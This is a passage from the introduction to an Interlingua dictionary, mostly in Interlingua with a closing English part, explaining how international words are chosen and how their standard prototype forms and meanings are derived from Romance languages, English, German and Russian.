classic e ante toto latin quandocunque nove terminos debe esser formulate, tanto in casos ubi novelle ideas, factos o objectos debe nominar se, quanto etiam si il ha necessitate a un synonymo pro un termino que es jam disponibile del passato.\n2. - Al principio de correspondentia de formas de parolas\nin le varie linguas contribuente on debe admitter qualque latitude. Le parolas anglese automobile e fidelity corresponde completemente con francese automobile e fidelité o espaniol automóvil e fidelidad. Le secunde es in omne linguas un descendente directe de latin fidelitas, fidelitat- e consiste ubique de un adjectivo que deveniva un substantivo per le adjunction de un mesme suffixo in varie formas etymologicamente identic. Le prime es in omne linguas un composition moderne que consiste\nancora in omne casos de elementos etymologicamente identic. Tamen, in le exemplo como italian amaritude on trova que ni le equivalente espaniol ni le francese monstra un complete correspondentia etymologic. Francese amertume e espaniol amargor como etiam le synonymos italian amarore e amarezza ha substituite altere elementos pro le original suffixo latin. Tal substitutiones\nde suffixos, que non era causate per necessitates expressive, non debe dar un motivo pro denegar a un parola specific le plen stato international, proque pro\ntales le deviation formal non implica un deviation de signification.\nNumerose exemplos de iste genere es presentate per adjectivos anglese que in plure casos differe de parolas correspondente in altere linguas per un suffixo exercente sin signification. Le suffixo -al in anglese fanatical non ha un signification; illo non face le parola differer in alicun senso del synonymo fanatic e non admitte un diserimination inter illo e francese fanatique, italian fanatico, etc. Le mesmo vale pro le typo anglese voracious que contine un \"superflue\", i.e. un specific suffixo anglese sin signification, -ious. Le parola correspondente francese es vorace, espaniol voraz, etc.\n3. - Il ha numerose parolas que, paradoxemente, non se trova in un lingua particular, sed que son potentialmente presente in illo. In anglese, per exemplo, le typos derivational de versatile-versatility, visible-visibility, etc. son tanto normal que le caso exceptional de un sol proximity, sin un adjectivo correspondente vale esser un \"accidente\" peculiarmente anglese. Il deberea haber un adjectivo *proxim o forsan *proximous. Le frequentia e le nettemente definite character del suffixo anglese -ity permitte le assertion que con le substantivo proximity il existe - potential- si non factualmente - un adjectivo parallel al actualmente existente parola italian prossimo e que assi contribue al internationalitate del simple adjectivo detra le substantivo derivate. Le mesme rationamento non esserea valide in le caso que le adjectivo al fundo de proximity non existeva in alicun lingua. Al altere latere illo es applicabile in casos de reverse situationes, ie. si le parola simple es toto international durante que le parola derivate es solo \"potentialmente\" disponibile.\nLe affixos que malgrado lor existentia in formationes de sphera limitate, se introduce in le vocabulario international, debe esser e frequente e inambigue. Omne istos que pote esser ponite in iste categoria, es representate per entratas special in le corpore del Dictionario. Un lista complete se trova infra in le paginas 37 e 38.\nQue era dicte super formationes con affixos de sphera limitate se applica etiam a compositiones. Le parola italian pro le anglese 'match, lucifer' es fiammifero. Isto es un composition de elementos que son completemente international e toto inambigue. Le parola in iste forma se trova solmente in un singule lingua, sed le representation de su elementos in omne linguas contribuente justifica le pretention que le parola es potentialmente international. In un considerabile numero de casos in que ideas de plen internationalitate se monstra esser representate per numerose terminos etymologicamente toto sin interrelation, on pote trovar adequate translationes in le vocabulario international per examinar omne translationes monolingual con respecto a lor representationes potential in le linguas fonte in toto.\nForma de parolas international. - Le formas in que le parolas international es registrate debe esser ni italian, ni francese, espaniol, portugese, anglese, german o russe; illos debe esser international. Isto implica que toto sia eliminate de illos que es un tracto characteristic de un singule lingua. Si le parola espaniol pro 'earth' es tierra, le forma international de isto debe non continer le diphthongo -ie- que es un specific developpamento espaniol. Le forma international que corresponde a francese aimer debe non terminar se in -er que es un specific developpamento francese. Ancora, si le parola voracious es admittite a entrar in le vocabulario international, illo non pote apparer ibi con le syllaba final -ious proque isto es un peculiar excrescentia anglese.\nAl altere latere, le forma international de un parola debe esser un tal que cata tracto idiosyncratic del representation de illo in un singule lingua particular debe esser explicabile como un mutation monolingue de illo. Illo debe esser le prototypo de que omne formas contribuente es variationes specialisate. Per exemplo, le prototypo de francese terre, espaniol tierra, portugese e italian\nerra es terra. Le termination francese -e e le diphthongo espaniol -ie- son respectivemente specific developpamentos francese e espaniol del original termination neutral -a e del original monophthongo -e-. Le resultante forma international terra pote haber le aspecto de formas italian, portugese e latin, sed illo es \"international\" e non italian, non portugese e non latin. In multissime casos le prototypo e inde le forma international de un parola coincide con le original etymologic, isto es, quando parolas es derivate de latino, le ancestre forma latin. Sed isto non es un necessitate absolute. Si le diphthongo de tierra non era un peculiaritate espaniol, sed existeva m in italiano e francese, le prototypo e per consequente le forma international non esserea\nterra sed *tierra.\nUn exemplo plus characteristic (e plus complexe) es illo de latin causa que appare in le linguas moderne como duo distincte parolas, le un representate per italian, espaniol, portugese causa e francese, anglese cause, le altere per italian, espaniol cosa, portugese cousa e francese chose. Le prototypo del prime es causa, e illo del altere es cosa, de que le ch- initial e le -e final in le francese e le diphthongo -ou- in portugese es deviationes peculiarmente francese e portugese, que pote esser explicate como effectos de leges phonetic francese e portugese. Le mutation qe latin -au- in -o- es un developpamento de character international.\nSecundo le objectivo general de procrear formas international non-specialisate, le prototypo non\ndebe producer se per un tracto que se trova in un\nsingule lingua. Un tracto monolingue sia ignorate\nproviste que un tal procedura non reduce le sphera international sub le minimo stipulate. Pro referer\nde nove al exemplo de latin causa, in le branca del prototypo cosa, omne formas contribuente con le exception de portugese monstra le vocal -o-. Si le portugese -ou- era non un diphthongisation\nspecificamente portugese de un previe -o-, sed plus tosto un tracto remanente del diphthongo -au-, le forma resultante ancora non continerea un diphthongo proque tres linguas - espaniol, francese, italiano - exhibe un simple -o-.\nTerminationes. - Como omne altere elementos\nformative, etiam suffixos appare in definite formas prototypic que non erraticamente varia de un caso a un altere. Si il es un facto historic que le suffixo in anglese agile e illo in fossil es le mesme, e si in plus le altere linguas contribuente revela que illos es equal (que in effecto illos es) alora le differentia anglese inter iste particular ile e iste particular -il debe non monstrar un tracia in le formas international.\nLe forma commun de que le suffixo representate per anglese -al se ha developpate in le varie linguas, es un forma cognite in un conception grammatic como le forma primitive del oblique casos latin de -alis, a saper -ale. Iste -ale es le ancestor de omne variantes contribuente, sed le complete graphia se mantene solmente in italiano. Omne altere linguas de controlo omitte le -e final. Igitur le prototypo que servi como le forma international del suffixo similemente lo omitte e illo appare como -al.\nAlique plus complexe es le caso del suffixo parallel que originava de latin -ilis. Illo se trova etiam in italiano\ncon un termination -e in omne casos, sed le\njuxtaposition de un par de exemplos como anglese civil, agile, espaniol civil, agil, italian civile, agile e francese civil, agile face introducer duo formas prototypic, le un, -il, que es accentuate e que omitte te -e final; le altere -ile, equipate con un -e final e adjungite a un syllaba accentuate.\nIste datos on pote reguardar inversemente assi que - como un regula general que es valide pro formas inserite in le Dictionario un -e final post -l- (e equalmente post -n- e -r-) se monstra esser un indication que le accento debe cader super le antepenultime syllaba, como in agile (opposite a civil), in automobile (opposite a infantil), in ordine (opposite a asinin), in arbore (opposite a professor), etc. Vide etiam le regulas del pronunciation.\nTermination de infinitivos. - Le procedura con prototypos exponite hic supra producerea infinitivos in -are, -ere e -ire. Como in le caso de -al e -il, il es solmente italiano que retene le -e final normalmente. Postque, totevia anglese adopta verbos romance in general sin le terminationes del infinitivos romance, illo non pote supportar francese e le linguas iberic pro annullar le conservation del -e final. Si iste \"abstention\" anglese debe non admitter al italiano resolver le question in favor de su proprie usage unic, remane solmente le possibilitate facer le formas prototypic de infinitivos sequer le modello de casos comparabile, como per exemplo illo del suffixos -al e -il. Assi le formas prototypic del terminationes de infinitivos deveni -ar, -er e -ir.Postque le subdivision de verbos latin in -ere in duo gruppos con respectivemente le accento tonic super le penultima e le antepenultima, es clarmente retraciabile intra le sphera del moderne linguas romance, on poterea determinar le termination del infinitivo separatemente pro cata un del duo gruppos. Le distinction resultante de verbos in -er con le accento super le ultime syllaba e un gruppo minor de verbos in -ere con le accento super le antepenultima corresponderea in general con duo typos de derivation. Le verbos in -er fornirea derivationes \"debile\" in -it- plus ion, -ive, -ura, etc. dum le verbos in -ere formarea tal derivationes per adder -ion, -ive, -ura, etc. a un radice \"forte\" o modificate. In le Dictionario un tal distinction non ha essite exequite.\nTerminationes de adjectivos. - Un problema special es ponite per le categoria de adjectivos que mantene in omne linguas romance un differentia inter formas masculin e feminin. Hic le procedura del prototypos collide con un tracto grammatic que debe esser considerate nunc ben que questiones grammatic non occurre in un discussion purmente lexical.\nLe prototypo de anglese, francese grand, italian,\nespaniol, portugese grande emerge lisiemente como grande. Tamen, in casos como illo del parola international que corresponde a anglese saint, le resultante es indecise proque hic le original systema inflectional supervive in tote le linguas romance non solmente con un forma distincte pro le plural sed etiam con distincte formas masculin e feminin. Le prototypo adjectival de anglese, francese saint, espaniol, portugese, italian santo esserea *sancto, sed illo de anglese saint, francese sainte, espaniol, portugese, italian santa esserea *sancta. Quando usate como substantivos pro representar un persona sancte, le forma sancto pro le masculo e le forma sancta pro le femina es satisfactori. Sed in functiones adjectival illos esserea usabile solmente si le grammatica del lingua international debeva conservar un distinction correspondente de generes.\nIl es possibile figurar se le vocabulario international in functionamento con un systema grammatic que in effecto mantene un distinction de generes. Tentativas in iste direction era notate, sed illos forma un minoritate. Le procedura applicate in le Dictionario es illo que es favorite per le majoritate de usatores del vocabulario international. Omne adjectivos son tractate como si latino e le linguas romance cognosceva solmente le singule typo de adjectivos in que il ha nulle distinction inter masculin e feminin. Le entratas resultante in le Dictionario exhibe nulle differentias in terminationes inter le typos grande e sancte.\nForma de parolas international in series derivational. - Le prototypo, como discutite usque hic, on pote definir como le plus proxime commun ancestor documentate o hypothetic de que omne variantes contribuente pote developpar se in accordo con le leges e motivos individual que functiona in le varie linguas considerate. Isto implica que in le caso de substantivos e adjectivos que originava in latino le prototypo normalmente ni coincide con ni se basa super le nominativo original (isto es le forma que es conventionalmente inserite in le dictionarios) sed plus tosto que illo haberea le aspecto del erude (i.e. truncate) forma del casos oblique latin. Isto es proque le linguas romance, quando - in le curso de lor developpamento ex latino - illos abandonava le systema de declinationes de substantivos e adjectivos, normalmente non preservava un caso al costo de tote le alteres; illos normalmente preservava un composito del varie casos oblique. Francese pied, espaniol pie, etc. non proveniva ab latin pes sed ab latin pede que on pote vider como un representante de pedem, pedis, etc.\nNunc il es le radice del casos oblique latin (i.e. le radice como basis del prototypo international) que appare de nove in le derivationes de substantivos e adjectivos. On parola como temporal (considerate o in su variante anglese o in alicun altere variante) non proveniva ab le radice latin tempus sed ab illo de temporis, tempore, etc. On parola como pontifical se basa non super le radice de latin pontifex sed super illo de pontificem, etc.\nLe prototypo de anglese pontiff e correspondente variantes romance que determina le internationalitate del parola es pontifice. Illo de anglese pontifical e su equivalentes romance es pontifical. Le consistentia de forma in le duo prototypic pontifice - pontifical (in contrasto a anglese pontiff - pontifical o german Pontifex pontifikal) es un tracto importante del vocabulario international. Illo permitte le interpretation de pontifical, pro si dicer, como un forma special pro uso special de pontifice justo como, dice-nos, brotherly in anglese on poterea appellar un forma special, isto es, le forma adjectival de brother. Si iste tracto debe esser generalmente eharacteristic del lingua international, on debe semper facer derivationes haber un relation con le formas prototypic que constitue su vocabulario. Per exemplo, le prototypo de italian tempo, espaniol tiempo, portugese tempo, francese temps debe esser; viste le derivationes, tempore, malgrado le facto que le plus proxime forma ancestre commun de iste variantes es tempus o al minus, si francese es ignorate, tempo. Italian cuore, espaniol corazon, portugese coraçao, cor, francese coeur non converge in core que reflecterea le declination in latino vulgar cor, coris (in vice de classic cor, cordis) sed es standardisate como corde, viste le derivation cordial, un forma in latino medieval con le suffixo -al post le radice corde.\nFamilias de parolas. - Le relation que, in le\nprocedura de protypos, derivationes ha con lor base, stabili in le standardisate vocabulario international clar consistentias in series derivational. Tal series, saepe cumulate in familias de parolas, plus o minus extense, existe in omne linguas de controlo. Sed in multe casos illos ha devenite indistincte per peculiar tendentias o \"accidentes\" historic, e il deveni un del plus importante functiones del technica de prototypos render a illos lor debite sphera de application. Indistincte gruppos como letter - litteral o publish - publication se manifesta in le vocabulario international in clar gruppos consistente como littera - litteral, publicar - publication. Isto es importantissime pro le libere formation de derivationes autonome in un lingua auxiliar.\nLe principio que determina le limitation de gruppos derivational o familias de parolas in le vocabulario international es illo de un parallelo inter consistentias formal e semantic. Post que le idea de causal es un derivation de illo de causa, le correspondente vocabulo standardisate appare in un gruppo formalmente consistente como causa - causal. Post que, al altere latere, le idea de causa es nullemente un derivation del anglese thing (malgrado que francese chase, espaniol casa, etc. es developpamentos historic de latin causa), le standardisate parola international que corresponde a thing non appare in le mesme gruppo sed emerge como caso. Le prototypos causa e caso apppertine in le quadro del vocabulario international a duo differente familias, ben que tote le parolas correspondente in le linguas romance de controlo es membros del singule familia etymologic de latin causa.Iste e affin aspectos del technica de prototypos e su resultatos es specialmente significante in le caso de certe verbos e lor derivationes. Un analysis plus detaliate de alicun familias de verbos pote esser utile in iste respecto.Exemplos non-latin. - Le illustrationes del technica de prototypos presentate usque hic es omnes concernite con parolas derivate de latino o construite de material latin. Illustrationes additional es requirite pro le sequente gruppos: 1) parolas de origine grec includente formationes classic -- importate directemente o transmittite via latino -- como etiam neologismos construite de grec material lexic. 2) parolas de origine germanic que penetrava in le linguas romance in un periodo postclassic e toto se assimilava in illos. 3) parolas estranie que era prendite a varie periodos de plure fontes foras del gruppo de linguas romance e anglese e que se assimilava in un mesura major o minor.\nTener es le prototypo de italian tenere, espaniol tener, portugese ter, francese tenir. Le latin ancestor es tenere, que es le capite de un grande familia de derivationes e compositos. Inter le derivationes que es international e que se trova etiam in anglese, es tenace, tenacitate, tenor, 'tenacious, tenacity, tenor', etc. In latino le compositos de tenere appare con un eharacteristic mutation de vocal in abstinere, continere, obtinere, etc. (con derivationes de ambe typos abstinentia e retentio). Le linguas moderne non manteneva iste e similar mutationes de vocal in le infinitivos composite sed adaptava los al forma del simple verbo, per exemplo, espaniol teller - abstener, francese tenir, contenir, etc. Tamen, le derivationes international de alicunes de iste compositos (abstinente, continente, etc.) repelle los ad in le patrono latin e le initiativos appare in le vocabulario international como abstiner, continer, pertiner, sed detener, intertener, mantener, obtener, retener, sustener.\nIn le caso de iste familia de verbos le differente brancas es concatenate per un assatis clar consistentia in signification. Le idea de anglese \"to hold\" es preservate in omne verbos: continer es \"to hold as contents\" o \"to hold back\"; mantener es \"to uphold\"; detener \"to hold in custody\"; etc. Un caso in que un del brancas de un familia etymologic de verbos ha completemente se distachate, tanto in forma e senso, quanto in le linguas de controlo e inde in le vocabulario international, es illo de latin pendere \"to suspend\" e \"to weigh\" con le derivation pensum 'something weighted, a weight'. Su frequentativo pensare 'to weigh' e in senso figurative 'to ponder, consider' faceva surger in le linguas romance duo distincte series derivational. Le parolas pro 'to weigh' es italian pesare, espaniol e portugese pesar, francese peser (confronta etiam anglese to poise). Illos son toto distachate tanto in forma como in signification ab le parolas romance pro 'to think': italian pensare, espaniol e portugese pensar, francese penser, cuje forma standardisate es pensar e cuje derivationes se presenta in pensative, pensator, etc. In le linguas moderne nulle de iste parolas se manifesta, ni in forma ni semanticamente, como un derivation de 'to weigh'. Inde le parola international pro 'to weigh' non es influentiate per illos e appare como pesar que on pote reguardar como un derivation de peso 'weight' (le prototypo de italian, espaniol, portugese peso, francese poids, etiam anglese poise ab le hic supra mentionate latin pensum); e peso - pesar constitue un novelle familia independente de pensar.\nUn caso legiermente differente es presentate per le familia de latin prehendere, prendere 'to seize'. Le derivation prehensio, prensio 'act of seizing' es representate in le linguas de controlo per italian prension, espaniol prensió, portugese prensão, francese prehension, anglese prehension, que rende le prototypos prehension e prension. Le contrahite forma latin prensio ha producte un altere serie toto detachate del prime. Iste serie es representate per italian prigione, espaniol prisión, portugese prisão, francese e anglese prison. Phoneticamente omne iste variantes national ha in commun le perdita del latin n ante s e le cambiamento de e in i. Etiam semanticamente on percipe nulle connexion inter 'prison' e 'act of seizing'. Al plus le derivationes le derivationes construite de prison, per exemplo, prisoner, to imprison e lor equivalentes romance ha un stricte relation solmente con lor immediate base e non del toto con le familia latin original de prehendere. Assi resulta un familia distachate prision, prisionero, imprisionar, etc.\n1. - Inter le parolas de origine grec il ha multe formationes con le semantic valor de derivationes que totevia son distachate de lo que poterea considerar se como lor base. In le vocabulario standardisate illos consequentemente exerce nulle influentia super le forma del base. Assi le forma international de therapeutic non ha un liga formative con therapia, nam ben que le un es clarmente le adjectivo que pertine al altere, il non ha un directe relation derivational inter illos. Al fin ambes son derivate de un tertie vocabulo, le verbo grec therapeuein. 'Therapy' appare in le vocabulario international como therapia e 'therapeutic' como therapeutic. Del reciproc dependentia semantic del duo es tanto pauco date conto in le vocabulario international quanto in le vocabularios de omne linguas de controlo. Illos appare in le Dictionario como duo entratas non parentate.Summario de definitiones. - Le sequente formulationes non es intendite a esser auto-explicative. Illos es summarios del precedente analyses que servi pro elucidar los e provider illustrationes pertinente a illos.\nIn altere casos le formal relation per derivation que certo existeva in greco ha essi te toto disrumpite in le linguas moderne que tracta iste vocabulos exactemente como illos del typo therapia - therapeutic. Iste disruption es in multe casos debile al facto que membros de un certe gruppo derivational in greco era prendite per le latino o per le linguas moderne como vocabulos separate cuje connexion con altere vocabulos grec del mesme familia (prendite separatemente per le mesme linguas) non era visibilisate in lor formas. Grec phlegmatikos era effectivemente un derivation de phlegma super le radice inflectional phlegmat. Totevia iste vocabulo non appare in un del linguas moderne e certemente non in un del membros del anglo-romance gruppo de controlo in un forma que corresponde con le vetule radice inflectional o derivative. Illo es representate ubique per le nominativo grecolatin e appare conformemente in le vocabulario international como phlegma non influentiate per su adjectivo associate.\nIn le majoritate del vocabulos de origine grec, totevia le formal consistentia de series derivational se manifesta in le vocabulario international tanto clarmente como isto eveni in le caso de vocabulos de origine latin.\n2. - Post le greco, le plus importante contributiones non-romance al vocabulario international son sin dubita le linguas e dialectos germanic. Lor parte in le vocabulario international face surger duo special observationes.\nIl ha un grande numero de casos de parolas anglese de origine germanic que es parentate a parolas in altere linguas de controlo per un affinitate indoeuropee. Exemplos es anglese beech e espaniol haya; anglese father e italian padre; anglese brother e francese frere; etc. In omne tal casos le forma germanic (naturalmente sub le condition que il ha un correspondentia perfectemente formal e semantic) pote esser reguardate como un variante contribuente que adde al extension international del concernite parola. Secundo le technica del prototypos, parolas de iste categoria debe standardisar se exclusivemente super le base de lor variantes romance. Hic le inclusion de cognate formas germanic producerea prototypos super un base indo-europee que es multo troppo stricte pro supportar un vocabulario international. Assi francese frere, italian fratello (con un suffixo que pote esser ignorate) e anglese brother determina le internationalitate de un parola que es representate per le forma\nstandardisate fratre, sin referentia al variante germanic.\nUn problema contigue e considerabilemente plus importante es illo de parolas de origine germanic representate per prestate variantes in le romance linguas de controlo, si o non illos es supportate per un forma hereditate in anglese. Le major parte del parolas de iste specie era adoptate per le linguas romance durante le medievo quando le supremacia germanic, specialmente in le campos de lege e guerra, era perceptibile in omne regiones del mundo occidental. Si le forma anglese de tal parolas es disponibile (e generalmente illo es tal), illo pote itero esser reguardate como un variante del formas romance, apte pro adder se al extension international del parola in question, sed non commode pro contribuer al determination de su prototypo. Francese hareng, italian aringa, espaniol e portugese arengue son omnes variantes romance de west-germanic haring e assi identic per le parentato germanic con anglese herring e german Hering. Le signification del parola non causa nove problemas. Illo ha un plen international extension in omne linguas de controlo. Pro le determination de su prototypo le inclusion del variantes anglese e german producerea un resultato super un base germanic. Le exclusion de anglese e germano produce le prototypo haringo, que es le forma per le qual iste parola es representate in le vocabulario international standardisate.\n3. - Quanto al standardisation de parolas foranee que era adoptate in un tempore plus recente ab differente fontes foras del gruppo romance-anglese, un distinction es a facer inter illos que ha toto se assimilate in omne linguas adoptive e illos que ha retenite lor forma original e que es semper sentite esser \"foranee\". In le prime categoria il ha multissime parolas de origine extra-europee que se introduceva in le idiomas europee via espaniol o portugese. In multe casos le linguas iberic monstra un similaritate plus stricte al structura phonetic del original que le linguas adoptante de secunde mano. Per exemplo, le equivalentes del anglese carafe in le altere linguas de controlo son italian caraffa, francese carafe, e espaniol\/portugese garrafa. Iste ultime, que es le plus proxime al original arabe gharrâf, determinarea le prototypo de omne variantes moderne como *garrafe si le g- initial qua un tracto limitate a un del unitates fonte o de controlo non poteva esser excludite per le c- initial de omne alteres. Le resultante forma international es carrafa.\nDerivationes de iste adoptiones relativemente recente non es multo frequente. Quando illos occurre illos influentia le prototypo exactemente del mesme maniera como in omne altere casos. Un exemplo es le parola international pro the. Italian te, espaniol te, francese the, anglese tea corresponde al nomine de iste planta e bibita in le dialecto de Amoy in China; portugese chá e italian cià (un parola special pro 'theiero') reflecte le veriante mandarin. Le combination de iste duo brancas poterea esser toto problematic si non existeva le derivation international theina, que servi a determinar le protypo del parola basic como the.\nAl fin, parolas foranee que se introduceva in le linguas de controlo in un tempore comparativemente recente e que reteneva lor character foranee, face isto etiam in le standardisate vocabulario international. Exemplos son: allegro, aria, imbroglio ex italiano; cargo, matador, rancho ex espaniol; bouquet, bureau, chassis ex francese; budget, interview, reporter, standard ex anglese; hinterland, kirschwasser, landwehr ab germano. In qualque casos le linguas moderne ha construite super iste prestos foranee derivationes independente con determination solmente del terminationes. Assi nos ha interviewar de interview, standardisar de standard, etc. In le Dictionario tal parolas \"foranee\" era inserite sin accentos e diacriticos excepte quando isto suggererea un absurde pronunciation. Assi nos ha francese défaite in loco de defaite sed german kümmel. Parolas anglese revela a vices per lor orthographia an illos era internationalisate super un base britannic o american.\n1. Eligibilitate. - Un parola es eligibile in le vocabulario international si illo se trova -- con significationes correspondente e in formas que devia del identitate etymologic per nihil altere que un affixo sin senso -- in le actual o historic vocabulario de al minus tres del linguas fonte, italiano, espaniol\/portugese, francese e anglese, e etiam germano e russo; illo porta con se omne formationess que differe de illo e in forma e in signification per le addition o le omission de un affixo \"normal \", sub le condition que tal formationes se trova in al minus un del linguas mentionate.\n2. Forma. - Le forma in que un parola debitemente admittite entra in le vocabulario international es le prototypo o le forma ancestor le plus proximo documentate o theoretic que es commun a omne su variantes como etiam al radices de lor derivationes in le linguas contribuente; illo es determinate de tal maniera que su variantes in le linguas fonte e le radices de lor derivationes devia de illo solmente in accordo con le conducta characteristic del linguas que illos representa -- sub le condition que le forma resultante debe nunquam esser determinate per un tracto restricte a un singule variante contribuente.\nSignification de parolas international. - Le criterios que determina que apparera o non apparera in le standardisate vocabulario international es omnes concernite con parolas simultaneemente considerate como formas e expressiones de significationes. E le forma e le signification de un date parola debe haber le requirite extension international pro assecurar al parola le representation in le vocabulario standardisate. Tamen, dum le problemas que se presenta in iste respecto son commodemente tractate per alicun regulas in tanto que illos es concernite per considerationes super le forma, le implicationes del internationalitate del signification son frequentemente delicate.Considerate in senso negative un vocabulo que es representate in le requirite numero de linguas de controlo per \"formas identic\" con significationes differente debe esser excludite del vocabulario standardisate. Isto pote illustrar se per referentia al forma standardisate planger que corresponde a italian piangere, espaniol planir, francese plaindre, e anglese (archaic o dialectic) to plain. Le ancestre forma latin plangere significava 'batter (con un ruito); batter su pectore (in dolor); lamentar a alle voce'. Le variante italian significa 'lacrimar, plorar, singultar'; le forma espaniol significa 'gemer, lamentar'; le francese 'commiserar, haber pietate de'; in anglese le parola habeva previemente le signification 'planger se'. Le varie linguas vadeva secundo differente vias in developpar le signification de lor variantes, e le parola non esserea representate del toto in le vocabulario international si non pro le expression planger se de pro le qual le variantes romance supple le requirite agradamento trilingue.\nNunc, in le varie significationes del simple verbo planger on poterea ancora recognoscer un vage similaritate e on poterea argumentar que le discrepantia in le significationes de italian piangere e francese plaindre differe solmente in alique mesura del discrepantia in le significationes de, per exemplo francese liberté e anglese liberty, que etiam non son toto simile.\nTamen, in le caso de liberté-liberty in le divergentias son involvite certe significationes accessori debite a associationes specific e usage traditional. Al altere latere, il es le concepto ipse de francese plaindre, non alicun peculiar connotationes, que differe de illo de italian piangere, e si pro iste duo un commun base conceptual deberea esser trovate, isto deberea haber su origine jam in latino e on non poterea asserer que isto es disponibile in un del variantes moderne.\nSi un concepto in iste senso es definite como un nucleo de pensar crystallisate in un forma de parola como expression adequate pro illo, il seque que liberté e liberty representa le mesme concepto; plaindre e piangere representa differente conceptos. Le divergentias connotational in le prime cxemplo non affice su representation in le vocabulario international; le differentias conceptual del secunde lo exclude como un tal del vocabulario international. Que illo totevia se trova in illo como un parte del reflexive planger se es un altere caso.\nLe signification que sia determinate pro un dale parola international es le concepto nuclear que su variantes in le linguas ethnic ha in commun. Isto non significa que un parola international non pote modular se per connotationes, nuances emotional, etc. Omne iste cosas precisemente como in cata un del ethnic linguas, concerne stilo. Si, dice-nos, le parola international perla ha essite definite como le forma que representa le concepto 'le concretion conchylacee de nacre que se trova in le ostrea de perla e que es empleate como un gemma' il ha obviemente nulle ration proque on non poterea usar lo con respecto a un efficiente nettatrice de caso. Per facer isto le definition basic non es abandonate, toto como le uso del parola anglese pearl in un tal contexto non implica que le parola representa 'efficiente nettatrice de caso' sed solmente que illo suggerera que le efficiente nettattrice de caso es tanto preciose quanto le concrction conchylacee in le ostrea de perla. Hic le consistentia semantic inter le nucleo conceptual e le metaphora non se rumpeva. Si illo se rumpeva, le signification 'efficiente nettatrice de caso' esserea un secunde concepto representate per le mesme forma de parola. Un illustration pro iste ultime typo es le parola anglese star que pote esser usate pro un luminar del theatro o del film sin le implication que ille o illa pote esser comparate a un corpore celeste. A proposito, iste developpamento non es international. Le parolas german e francese pro 'on corpore celeste' pote naturalmente etiam esser usate con referentia a un actor o actrice superior, sed non sin le implication clarmente metaphoric que le persona concernite sia nominate un corpore celeste in le firmamento del arte dramatic. In ambe linguas mentionate le remote signification de anglese star (le concepto 'on actor o actrice superior') es frequentemente representate per precisemente ille parola adoptate in su forma anglese.\nIn casos ubi le ruptura semantic inter un nucleo conceptual e un mer extension metaphoric es sufficientemente international o occurreva in un ancian tempore in le lingua de origine de un date parola, il ha le resultato que le forma international representa duo o plus nucleos conceptual. Assi, del puncto de vista latin il habeva un perfecte consistentia in le developpamento semantic del verbo intendere: de 'extender ab o verso qualque cosa' via 'attender, diriger le attention de alicuno a' a 'intender, haber in mente, proponer se'. Ab le extension 'diriger le attention de alicuno a' le latino medieval developpava le nove signification nuclear o concepto 'comprender, apperciper' que supervive in le linguas romance. Le signification actual de francese entendre 'audir' es un sequente developpamento de 'apperciper' e remane monolingue. In senso international 'proponer se, intender' e 'comprender, apperciper', ben que ambes es descendentes del mesme ancestor semantic (' diriger le attention de alicuno a'), appare como duo distincte conceptos. Illos constitue le duo significationes basic del parola international intender.\nConceptos in le senso hic considerate naturalmente non es semper international. Le nucleo de pensamento 'con le manos super le hancas' exprimite per le parola anglese 'akimbo' es clarmente monolingue. Altere linguas pote cireumscriber lo con le adjuta de un locution, per exemplo, francese les mains sur les hanches, sed ab un puncto de vista francese isto es tanto pauc un concepto quanto les mains sur les epaules 'con le manos super le spatulas.\nLe anglese es particularmente ric in terminos de iste specie. Le majoritate de illos es representate per parolas que pertine al stock germanic del vocabulario, como bleak, to befriend, brittle, etc.; sed il ha etiam multissime parolas anglese de origine romance que le lingua usa pro exprimer conceptos peculiarmente anglese, como casual, eventual, domineer, etc.\nIste e simile conceptos monolingue es non representate como tales in le vocabulario international. Illos es unitates de pensamento o ideas que se erystallisava como clar nucleos in definite formas de parolas solmente in un singule lingua. Le altere linguas los exprime per varie locutiones noncrystallisate, e etiam le vocabulario international que debe sequer le usage international, face isto.\nTHE INTERNATIONAL VOCABULARY\nThis Dictionary comprises some 27,000 entries. It is not a complete compilation of the international vocabulary and could not be intended to be complete.\nA bold guess as to the number of international words which the methods outlined above would yield if exploited to the last might run into several hundred thousands. The large majority of the items included in such a \"complete\" body of international words would be highly specialized terms. Being predominantly technological and scientific or generally learned, their weight contributes greatly to the argument that the international language exists potentially in the ethnic languages and merely waits to be extracted from them. However, many terms in this category are so completely international that after we have found them in one language we feel justified in using them in any other, including the international language, without first consulting the corresponding dictionaries.\nIf we find the English word cyclonoscope, we need hardly know what it means, let alone consult a dictionary, to conclude that the German equivalent is Zyklonoskop, the French form cyclonoscope, the variant in Italian ciclonoscopio, etc. For the fact of the matter is precisely that words of this kind are not just English, French, German, etc. but international. The international version of cyclonoscope is cyclonoscopio.\nBut we may go farther. Not only are there innumerable technical terms in international use, but an additional infinite number which are not to be found anywhere exist potentially in all the languages within the orbit of the international vocabulary and hence in the international language itself. When, for example, the philosopher Lovejoy, for his own purposes, introduced the term retrotensive in one of his works, his readers were of course given an explanation of what the new coinage was meant to express, yet translators could consult no dictionary on how to render the term in any other language. Still, they had no difficulty in determining that the Spanish, Italian, Portuguese forms must be retrotensivo, the German form retrotensif, the French form rétrotensif etc. Or another example: If an inventor came along with a new gadget designed to expel cigarette butts from the holder the moment a certain degree of nicotine concentration were reached and if this inventor wanted to call his gadget an autoejector, there could be little doubt about the foreign names for the instrument upon its arrival on distant shores in the wake of the spread of civilization. The Germans would call it Autoejektor, the French autoéjecteur, the Italians autoeiettore, etc.\nThe point to be borne in mind is that the translator from English into any other language within the orbit of the international vocabulary is immediately able to render words like retrotensive and autoejector not because he understands what they mean but because he is aware of their structure. If such an awareness of structural patterns on the translator's part enables him to state what such and such an English word of obvious internationality must be in French, Spanish, Portuguese, Italian, German, Russian, and numerous other languages as well, a similar ease of rebuilding such terms in the international language can be attained on the basis of a corresponding awareness of the structural patterns prevailing in the international language. The Dictionary had therefore to be made to include ample illustrative material of all manner and kind of formations from all branches of man's scientific and technological endeavor.\nThe account of how the Dictionary was made to fulfill this requirement may be merged with the account of how the body of words included in it was selected.A dictionary of the international language poses problems sharply distinct from those confronting the makers of dictionaries of fully established languages with a verifiable tradition of usage. If, let us say, a 27,000-word dictionary of English - monolingual or with translations into any other language - were envisaged, the initial task to be dealt with by the lexicographer would be to select from the total body of English words those 27,000 items which his prospective readers could be expected to inquire about most frequently. On the whole the 27,000 most frequent words of the English language would be included.\nThe 27,000 most frequent words of the international language, however, cannot be thus identified. Neither can we know whether a particular international word is frequent or infrequent, nor can we base the selection of items to be included in the Dictionary on the criterion of their importance in any one of the source languages.\nAmong the distinctive features of our approach to the question of the international vocabulary is the fact that the starting point must never be the question, \"How do you say in the 